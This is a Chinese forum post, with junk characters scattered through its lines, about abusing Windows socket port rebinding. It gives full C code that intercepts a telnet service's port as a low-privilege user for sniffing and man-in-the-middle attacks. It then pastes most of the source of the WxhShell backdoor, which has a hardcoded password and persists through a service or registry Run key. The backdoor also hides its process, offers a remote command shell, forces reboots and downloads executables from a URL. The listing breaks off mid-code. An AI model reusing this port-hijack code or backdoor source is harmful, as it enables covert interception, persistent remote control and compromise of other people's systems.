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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6<6_W#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~;` #{$/C&  
rKq]zHgpo  
  saddr.sin_family = AF_INET; mK4A/bsE  
4'*K\Ul).H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [Xg"B|FD0  
#nz$RJsX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3~'F^=T.Y  
RT9@&5>il  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^)I:82"|?  
d_hcv|%  
  这意味着什么?意味着可以进行如下的攻击: p^!p7B`qe.  
fba3aId[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 omu&:) g  
o~ed0>D-LS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "f+2_8%s+  
G}*B`m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :4d7%q  
9x\G(w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @TDcj~oR ?  
eU0-_3gN_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [5-5tipvWp  
?i"FdpW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M IJ~j><L  
^DOcw@Z6HC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FW,D\51pTP  
Y#,MFEd  
  #include ,vj^AXU  
  #include v2Y=vr  
  #include ){~.jP=-#  
  #include    hd' n"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N0f}q1S<-A  
  int main() Y'9deX+  
  { \8ZNXCP  
  WORD wVersionRequested; g(^l>niF:  
  DWORD ret; =\.|'  
  WSADATA wsaData; DQ$/0bq   
  BOOL val; :h@:F7N _  
  SOCKADDR_IN saddr; ,8 seoX^  
  SOCKADDR_IN scaddr; ai RNd~\  
  int err; cCIEG e6  
  SOCKET s; mLO6`]p{H  
  SOCKET sc; tK*f8X+q  
  int caddsize; ^=j$~*(LmX  
  HANDLE mt; I5,Fh>  
  DWORD tid;   3IIlAzne;  
  wVersionRequested = MAKEWORD( 2, 2 ); YzqhFFaj.  
  err = WSAStartup( wVersionRequested, &wsaData );  V Euv  
  if ( err != 0 ) { ^8)d8?}  
  printf("error!WSAStartup failed!\n"); *k -UQLJ  
  return -1; "-sz7}Mb  
  } DQd&:J@?  
  saddr.sin_family = AF_INET; 8*X8U:.0o  
   ewY X\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ececN{U/  
=*I9qjla[?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {H74`-C)W  
  saddr.sin_port = htons(23); J4 <*KL~a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nnw iH  
  { ;N|6C+y  
  printf("error!socket failed!\n"); -|5&3HVz  
  return -1; J$o J  
  }  ar yr  
  val = TRUE; ak zb<aT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~JJv 2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *zcH3a,9"x  
  { `/O_6PQ}  
  printf("error!setsockopt failed!\n"); 9TLP(  
  return -1; l; 4F,iI  
  } $si2H8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QXCI+Fcg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _kS us  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lz>hP  
ej~ /sO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 827N?pU$)  
  { |8"HTBb\CW  
  ret=GetLastError(); WW.=>]7;  
  printf("error!bind failed!\n"); 6 S8#[b  
  return -1; [(hENX}o :  
  } 4Hw8w7us:  
  listen(s,2); (`&g  
  while(1) #X+)  
  { YL]x>7T~4t  
  caddsize = sizeof(scaddr); /D12N'VaE  
  //接受连接请求 VCIG+Gz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DIY WFVh  
  if(sc!=INVALID_SOCKET) s$Mj4_p3l  
  { YAO0>T<F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 97lwPjq  
  if(mt==NULL) Kf*+Ilq%L  
  { *-7O| ''  
  printf("Thread Creat Failed!\n"); ?AEpg.9R-  
  break; R[b?kT-%  
  } <m!\Ma  
  } @m6E*2Gg  
  CloseHandle(mt); _<8n]0lX3  
  } \*7Tj-#  
  closesocket(s); Cpl\}Qn  
  WSACleanup(); lH[N*9G(  
  return 0; rfk';ph  
  }   QL3%L8  
  DWORD WINAPI ClientThread(LPVOID lpParam) F 1BPzRo`  
  { ^J327  
  SOCKET ss = (SOCKET)lpParam; wS4zAu  
  SOCKET sc; F=cO=5Iz  
  unsigned char buf[4096]; I<$lpU_H  
  SOCKADDR_IN saddr; B}vI<?c  
  long num; q8U]Hyp(`  
  DWORD val; Gh j[nsoC~  
  DWORD ret; 5%9& 7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^;'3(m=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3KGDS9I  
  saddr.sin_family = AF_INET; _\[Zr.y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d(tq;2-  
  saddr.sin_port = htons(23); /<@oUv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?D#Vha  
  { G2mv6xK'  
  printf("error!socket failed!\n"); &{$\]sv  
  return -1; {_ocW@@  
  } J4<- C\=4  
  val = 100; `Tab'7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B;EdLs}  
  { TR#5V@e.m  
  ret = GetLastError(); 1:-$mt_*  
  return -1; +m"iJW0  
  } bz@4obRqf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %9IM|\ulp  
  { :U~[%]  
  ret = GetLastError(); V r y#  
  return -1;  `=oN&!  
  } M$w^g8F27H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aw(P@9]  
  { %f@]-  
  printf("error!socket connect failed!\n"); C@K@TfK!M  
  closesocket(sc); b747eR 7E  
  closesocket(ss); lGxG$0`;;  
  return -1; >LjvMj ]  
  } CEwG#fZ  
  while(1) 419t"1b  
  { L%!jj7,9-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >8ePx,+!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KNV$9&Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c1c0b|B!U  
  num = recv(ss,buf,4096,0); x.'O_7c0:  
  if(num>0) K]RkKMT,  
  send(sc,buf,num,0); >J4_/p>Qs  
  else if(num==0) rXA7<_Vg  
  break; UlyX$f%2  
  num = recv(sc,buf,4096,0); $Cte$ jg{;  
  if(num>0) zD?<m J`  
  send(ss,buf,num,0); :z.< ||T  
  else if(num==0) JIK;/1  
  break; tL D.e  
  } AE@*#47  
  closesocket(ss); =_,w<  
  closesocket(sc); J6jrtLh  
  return 0 ; J|s4c`=  
  } #bnFR  
REw!@Y."  
 pCv=rK@  
========================================================== 2+0'vIw}  
zp d4uto5  
下边附上一个代码,,WXhSHELL A\WgtM  
gCd9"n-e  
========================================================== "}EydG"=  
t0/fF'GZD  
#include "stdafx.h" N~SG=\rP;o  
"xw2@jGpG  
#include <stdio.h> dq[CT  
#include <string.h> N1_nBQF )  
#include <windows.h> Fe: 0nr9;  
#include <winsock2.h> MSw/_{  
#include <winsvc.h> \ ddbqg?`  
#include <urlmon.h> *&LVn)@[`  
f ^z7K  
#pragma comment (lib, "Ws2_32.lib") R7+k=DI  
#pragma comment (lib, "urlmon.lib") ! XA07O[@  
2uz<n}IV  
#define MAX_USER   100 // 最大客户端连接数 yt$V<8a  
#define BUF_SOCK   200 // sock buffer UA}k"uM  
#define KEY_BUFF   255 // 输入 buffer R(3V ! ph  
K5b8lc  
#define REBOOT     0   // 重启 %T!UEl`v  
#define SHUTDOWN   1   // 关机 jh9^5"vQ  
JIDE]f  
#define DEF_PORT   5000 // 监听端口 +.{_n(kU  
Z|E( !"zE9  
#define REG_LEN     16   // 注册表键长度 Ip|7JL0Z  
#define SVC_LEN     80   // NT服务名长度 !qT.D:!@zF  
H+F'K XP*K  
// 从dll定义API haS`V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  s(F^P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $$`}b^,/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &%rX RP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r'-)@|  
LDO@$jg  
// wxhshell配置信息 ?:~ `?  
struct WSCFG { wC;N*0Th  
  int ws_port;         // 监听端口 u[y>DPPx  
  char ws_passstr[REG_LEN]; // 口令 W +C\/  
  int ws_autoins;       // 安装标记, 1=yes 0=no +Nyx2(g<m  
  char ws_regname[REG_LEN]; // 注册表键名 PoQ@9 A  
  char ws_svcname[REG_LEN]; // 服务名 WC0@g5;1[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v$lP?\P;}X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pz~AsF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )N<>L/R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g;Bq#/w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sJ25<2/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9w(QM-u  
&H<-joZ)Z\  
}; ewD61Y8-  
76(&O  
// default Wxhshell configuration > PfYHO  
struct WSCFG wscfg={DEF_PORT, DM"`If%3j  
    "xuhuanlingzhe", -&y{8<bu4H  
    1,  ]Ocf %(  
    "Wxhshell", gtJUQu p2  
    "Wxhshell", 2 ES .)pQ  
            "WxhShell Service", qK#\k@E  
    "Wrsky Windows CmdShell Service", R2-OT5Ej  
    "Please Input Your Password: ", =2# C{u.  
  1, U5%EQc-"P  
  "http://www.wrsky.com/wxhshell.exe", lhKd<Y"  
  "Wxhshell.exe" PKty'}KF  
    }; 3@_je)s  
 Jcy  
// 消息定义模块 UIIR$,XB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3L/>=I{5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XQ.JzzY$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j 8YMod=  
char *msg_ws_ext="\n\rExit."; K>"M# T  
char *msg_ws_end="\n\rQuit.";  Hi|'  
char *msg_ws_boot="\n\rReboot..."; %BC*h}KGH  
char *msg_ws_poff="\n\rShutdown..."; GjfY   
char *msg_ws_down="\n\rSave to "; x/R|i%u-s  
l0 r Zril  
char *msg_ws_err="\n\rErr!"; -%NT)o  
char *msg_ws_ok="\n\rOK!"; ma?$@ ]`k  
P10`X&  
char ExeFile[MAX_PATH]; }2-{4JIq}  
int nUser = 0; Ay22-/C|@  
HANDLE handles[MAX_USER]; V.>'\b/#  
int OsIsNt; n@Y`g{{e~  
;XRLp:y  
SERVICE_STATUS       serviceStatus; /)e&4.6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x?VX,9;j  
J+kxb"#d  
// 函数声明 ;a[56W  
int Install(void); VrrCW/ o  
int Uninstall(void); !i2=zlpb[  
int DownloadFile(char *sURL, SOCKET wsh);  3_+-t5  
int Boot(int flag); K3M<%  
void HideProc(void); 0,{Dw9W:  
int GetOsVer(void); z<hy#BIjnd  
int Wxhshell(SOCKET wsl); [}N?'foLb  
void TalkWithClient(void *cs); :I1 )=8lO  
int CmdShell(SOCKET sock); ?S36)oZzg  
int StartFromService(void); 3#j%F  
int StartWxhshell(LPSTR lpCmdLine); W -8<sv$b  
{;=I69 X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "9>~O`l,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IF(W[J  
=(3Qbb1i  
// 数据结构和表定义  +,gI|  
SERVICE_TABLE_ENTRY DispatchTable[] = b(&2/|hd  
{ eh&?BP?  
{wscfg.ws_svcname, NTServiceMain}, mTwz&N\  
{NULL, NULL} !FX;QD@"  
}; /xWkP{  
jxm.x[1ki^  
// 自我安装 (>%Ddj6_>  
int Install(void) eo24I0 `N  
{ k*\WzBTd  
  char svExeFile[MAX_PATH]; 9N:Bu'j&/  
  HKEY key; u I}S9  
  strcpy(svExeFile,ExeFile); "@;q! B.qo  
O&!+ni  
// 如果是win9x系统,修改注册表设为自启动 (dLt$<F  
if(!OsIsNt) { c5+oP j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pej/9{*xg(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hbD@B.PD  
  RegCloseKey(key); -SGR)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HpC|dtro  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ks(+['*S  
  RegCloseKey(key); *RD9 gIze  
  return 0; dP=1*  
    } _>9|"seR  
  } - /]ro8V$  
} .9#4qoM'  
else { xa[<k >r3  
(_^g:>)Cs  
// 如果是NT以上系统,安装为系统服务 &.y:QVR,!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BuCU_/H  
if (schSCManager!=0) mqrP0/sN  
{ Q.*qU,4);  
  SC_HANDLE schService = CreateService f<= #WV  
  ( G|Yw a=  
  schSCManager, !h4S`2oZ/  
  wscfg.ws_svcname, mnzamp  
  wscfg.ws_svcdisp, &cV$8*2b^  
  SERVICE_ALL_ACCESS, <UQaRI[55  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , / V+&#N  
  SERVICE_AUTO_START, ^/47 *vcN5  
  SERVICE_ERROR_NORMAL, s4<[f%^  
  svExeFile, 9x0B9&  
  NULL, 3ZGU?Z;R  
  NULL, dQVV0)z  
  NULL, `Rub"zM  
  NULL, /pan{.< k  
  NULL 8p,q9Ey  
  ); ,B(UkPGT  
  if (schService!=0) QXY-?0RO#  
  { };o6|e:2E  
  CloseServiceHandle(schService); 1mm/Ssw:C  
  CloseServiceHandle(schSCManager); \bw71( Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .h~M&d!  
  strcat(svExeFile,wscfg.ws_svcname); qAUqlSP5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P%z\^\p"5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <W2}^q7F^  
  RegCloseKey(key); *91iFeKj=  
  return 0; &PI}o  
    } &?IOrHSv!  
  } .+t{o [  
  CloseServiceHandle(schSCManager); BG_m}3j  
} ~aQ>DpSEf  
} .Qg!_C  
kSv?p1\@&P  
return 1; 6Xb\a^ q  
} z'=*pIY5f  
iT1"Le/N  
// 自我卸载 'g$~ij ;x  
int Uninstall(void) Q:& ,8h[  
{ {9vvj  
  HKEY key; [X ]\^   
:{pvA;f  
if(!OsIsNt) { []/=!?5B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dq/[ g,(  
  RegDeleteValue(key,wscfg.ws_regname); >d!w&0z>  
  RegCloseKey(key); O+%Y1=S[WQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &F1h3q)L  
  RegDeleteValue(key,wscfg.ws_regname); 8W)3rD>  
  RegCloseKey(key); l~!Tnp\M  
  return 0; ~ nNsq(4  
  } _6Wz1.]n  
} \j !JRD+j  
} %Rj:r!XB:  
else { SL" ;\[uI  
-|B?pR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); - l8n0P1+  
if (schSCManager!=0) t uo'4%]i  
{ {(]B{n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s Z(LT'}  
  if (schService!=0) zYO+;;*@  
  { E]WammX c  
  if(DeleteService(schService)!=0) { N3g[,BE  
  CloseServiceHandle(schService); x.qn$?3V]  
  CloseServiceHandle(schSCManager); ?`V%[~4_I  
  return 0; XL c&7  
  } zuUf:%k}I  
  CloseServiceHandle(schService); D{'x7!5r  
  } .%_scNP  
  CloseServiceHandle(schSCManager); $%ZEP> ]  
} X&nkc/erx  
} 5|f[evQj<S  
7r 07N'  
return 1; 3.U5Each-  
} zB/$*Hd  
sJg-FVe2  
// 从指定url下载文件 uy)iB'st&  
int DownloadFile(char *sURL, SOCKET wsh) 8fFURk  
{ 9_V'P]@  
  HRESULT hr; ..V6U"/  
char seps[]= "/"; ]Cnj=\'  
char *token; #x$.  
char *file; ]^$&Ejpe#  
char myURL[MAX_PATH]; =;!C7VS  
char myFILE[MAX_PATH]; V9z/yNo  
I&Q.MItW  
strcpy(myURL,sURL); i`Fg kABw  
  token=strtok(myURL,seps); 4N& VT"  
  while(token!=NULL) |(N4ZmTm  
  { *X8<hYKZq  
    file=token; vT"T*FKh:  
  token=strtok(NULL,seps); J @C8;]  
  } XFeHkU`C  
NlXHOUw)u  
GetCurrentDirectory(MAX_PATH,myFILE); x!fvSoHp  
strcat(myFILE, "\\"); Kyw Dp37^  
strcat(myFILE, file); " NnUu 8x  
  send(wsh,myFILE,strlen(myFILE),0); H8.U#%  
send(wsh,"...",3,0); P9; =O$s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EpSVHD:*  
  if(hr==S_OK) z1wy@1o'  
return 0; s <Pk[7`*  
else XSC._)ztEE  
return 1; !:t}8  
)D_#  
} 'hfQ4EN  
_Z z" `  
// 系统电源模块 "f/lm 2<  
int Boot(int flag) XBe!9/'k>  
{ ^+tAgK2   
  HANDLE hToken; ++D-,>.  
  TOKEN_PRIVILEGES tkp; z[Xs=S!]I  
"- @{ )  
  if(OsIsNt) { *t.L` G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wR +C>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q laz3X,P  
    tkp.PrivilegeCount = 1; TbbtD"b?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }wRHNBaEB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PB00\&6H  
if(flag==REBOOT) { VCfa<hn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  vp7J';  
  return 0; C"no>A^  
} Y ]&D;w  
else { eFS;+?bu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |LA@guN  
  return 0; D_er(  
} rKg~H=4x2  
  } .si!`?K%[  
  else { 0J7)UqMf.  
if(flag==REBOOT) { - `F#MN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C# IV"Pkq  
  return 0; E+-ah vk  
} TOmq2*,/  
else { ={P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 78&(>8@m  
  return 0; 5/4N  Y  
} N9@@n:JT  
} uLXMEx<^  
W@U<GF1  
return 1; w:%3]2c  
} `%_yRJd|;  
e<o{3*%p)  
// win9x进程隐藏模块 OhMnG@@  
void HideProc(void) '&?cW#J?  
{ wh8h1I  
X:Z4QqT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^-Ob($(\  
  if ( hKernel != NULL ) + |(-7 "  
  { OXc!^2 ^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w/+e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1}nrVn[B9  
    FreeLibrary(hKernel); ~k>H4hV3  
  } ? IgM=@  
%GS^=Qr  
return; vt)u`/u  
} <^>O<P:v  
_Bh-*e2k  
// 获取操作系统版本  Za,rht  
int GetOsVer(void) )fSO|4   
{ S%J$.ge  
  OSVERSIONINFO winfo; =_~bSEqyRI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :uwB)G  
  GetVersionEx(&winfo); sk* AlSlM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j6x1JM  
  return 1;  /6)6  
  else Yzo_ZvL  
  return 0; &ru2&Sz  
} 0 _ 4p>v:  
u.W}{-+kp  
// 客户端句柄模块 d +0(H   
int Wxhshell(SOCKET wsl) _Q&O#f  
{ T^FeahA7;  
  SOCKET wsh;  peW4J<,  
  struct sockaddr_in client; >a;0<Ui&Q  
  DWORD myID; @hC,J  
w}2;f=  
  while(nUser<MAX_USER) JBzRL"|  
{ G-FeDP  
  int nSize=sizeof(client); 5X"y46i,H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ErZYPl  
  if(wsh==INVALID_SOCKET) return 1; 3%`asCW$  
+<qmVW^X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P]V/<8o.53  
if(handles[nUser]==0) YT:])[gVV  
  closesocket(wsh); q6E8^7RtS@  
else 7bcl^~lY  
  nUser++; , c3gW2E  
  } 2|a@,TW}-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tR`'( *wh  
x@^Kd*fo  
  return 0; OJX* :Q  
} 2Cy">Exl  
|Uf[x[  
// 关闭 socket ZWJ%t'kF  
void CloseIt(SOCKET wsh) `*?8<Vm  
{ ~:h-m\=8Y  
closesocket(wsh); W>jgsR79M  
nUser--; yxv]G6  
ExitThread(0); %A 4F?/E  
} > wsS75n1  
FUy!j|W6f  
// 客户端请求句柄 2AN6(k4o  
void TalkWithClient(void *cs) St9+/Md=jQ  
{ Y;qA@|  
4DGc[  
  SOCKET wsh=(SOCKET)cs; $~ 6Y\O  
  char pwd[SVC_LEN]; ~r(/)w\  
  char cmd[KEY_BUFF]; (y^[k {#  
char chr[1]; o]Ln:kl  
int i,j; >b^|SL  
T2Duz,  
  while (nUser < MAX_USER) { 5Z (1&  
uLr 9*nxd  
if(wscfg.ws_passstr) { <\0+*`">g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LHy-y%?i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X0G Mly  
  //ZeroMemory(pwd,KEY_BUFF);  x!)[l;  
      i=0; "v%|&@  
  while(i<SVC_LEN) { R 2.y=P8N  
XLG6f(B=F  
  // 设置超时 {~cG'S Y%  
  fd_set FdRead; W=Y?_Oz  
  struct timeval TimeOut; -s ]  
  FD_ZERO(&FdRead); JQ9JWu%a  
  FD_SET(wsh,&FdRead); %M? A>7b  
  TimeOut.tv_sec=8; 2y_R05O0  
  TimeOut.tv_usec=0; M{sn{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ojea~Y]Sr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |[%CFm}+?  
e G8Zn<:s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RDFOUqS  
  pwd=chr[0]; P1 \:hh  
  if(chr[0]==0xd || chr[0]==0xa) { +Ndo$|XCy]  
  pwd=0; ;{@jj0h;  
  break; FPg5!O%  
  } CqF= 5z:A  
  i++; ]m ED3#  
    } 4JOw@/nE  
ZW+[f$X  
  // 如果是非法用户,关闭 socket <4DSk9/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4KO2oIR  
} kTCWyc  
Kr;7~`$[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :#yjg1aej  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P:`tL)W_  
e+_~a8 -|  
while(1) { ^F}HWpF_  
FNQR sNi  
  ZeroMemory(cmd,KEY_BUFF); ~c;D@.e\  
NTj:+z0  
      // 自动支持客户端 telnet标准   ,7wxVR%Ys  
  j=0; KN41 kkN  
  while(j<KEY_BUFF) { aWtyY[=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O-5s}RT  
  cmd[j]=chr[0]; ^N{Lau  
  if(chr[0]==0xa || chr[0]==0xd) { +x?_\?&Ks  
  cmd[j]=0; _b ~XBn  
  break; ]yR0"<W^xO  
  }  'Dh+v3O  
  j++; /Dh[lgF0C  
    } n_8wYiBs(  
$ N7J:Q  
  // 下载文件 fJjtrvNy)  
  if(strstr(cmd,"http://")) { QH?}uX'x)G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hcts^zm2u  
  if(DownloadFile(cmd,wsh)) T~*L [*F0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KINKq`Sx  
  else GpW5)a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Ei-Spy>Xl  
  } `63?FzT y  
  else { #fF~6wopV  
6f$h1$$)^  
    switch(cmd[0]) { uTSTBI4t  
  ao@"j}c  
  // 帮助 .H.#W1`  
  case '?': { e~wuoE:M3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =*ZQGM3w  
    break; aa:97w~s0  
  } &7gL&AY8  
  // 安装 ZO`{t1   
  case 'i': { 5LPyPL L  
    if(Install()) |~6X: M61  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N*dO'ol  
    else cqr4P`Oj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9}\{0;9  
    break; 9`3%o9V9Y  
    } f/_RtOSw  
  // 卸载 Z(' iZ'55F  
  case 'r': { M-  f)\`I  
    if(Uninstall()) 0Q2P"1>KT/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E0g` xf 6c  
    else _~^JRC[q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |.]:#)^X?  
    break; d"7l<y5  
    } ]#UyYgPk  
  // 显示 wxhshell 所在路径 'dnTu@mUT  
  case 'p': { *1Q~/<W  
    char svExeFile[MAX_PATH]; dHE\+{K%-  
    strcpy(svExeFile,"\n\r"); LuLnmnmB  
      strcat(svExeFile,ExeFile); g?(h{r`  
        send(wsh,svExeFile,strlen(svExeFile),0); k8]uy2R6}  
    break; NlBnV  
    } 9c /&+j  
  // 重启 \xQ10\u  
  case 'b': { 0K0[mC}ZwM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /& qN yo  
    if(Boot(REBOOT)) f*+eu @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h{dR)#)GF<  
    else { hQm"K~SW=  
    closesocket(wsh); (#4   
    ExitThread(0); ac/=%om8u  
    } ( TQx3DGq  
    break; U[!x 0M  
    } ?q&*|-%)_d  
  // 关机 4 Ar\`{c>  
  case 'd': { B&tU~  
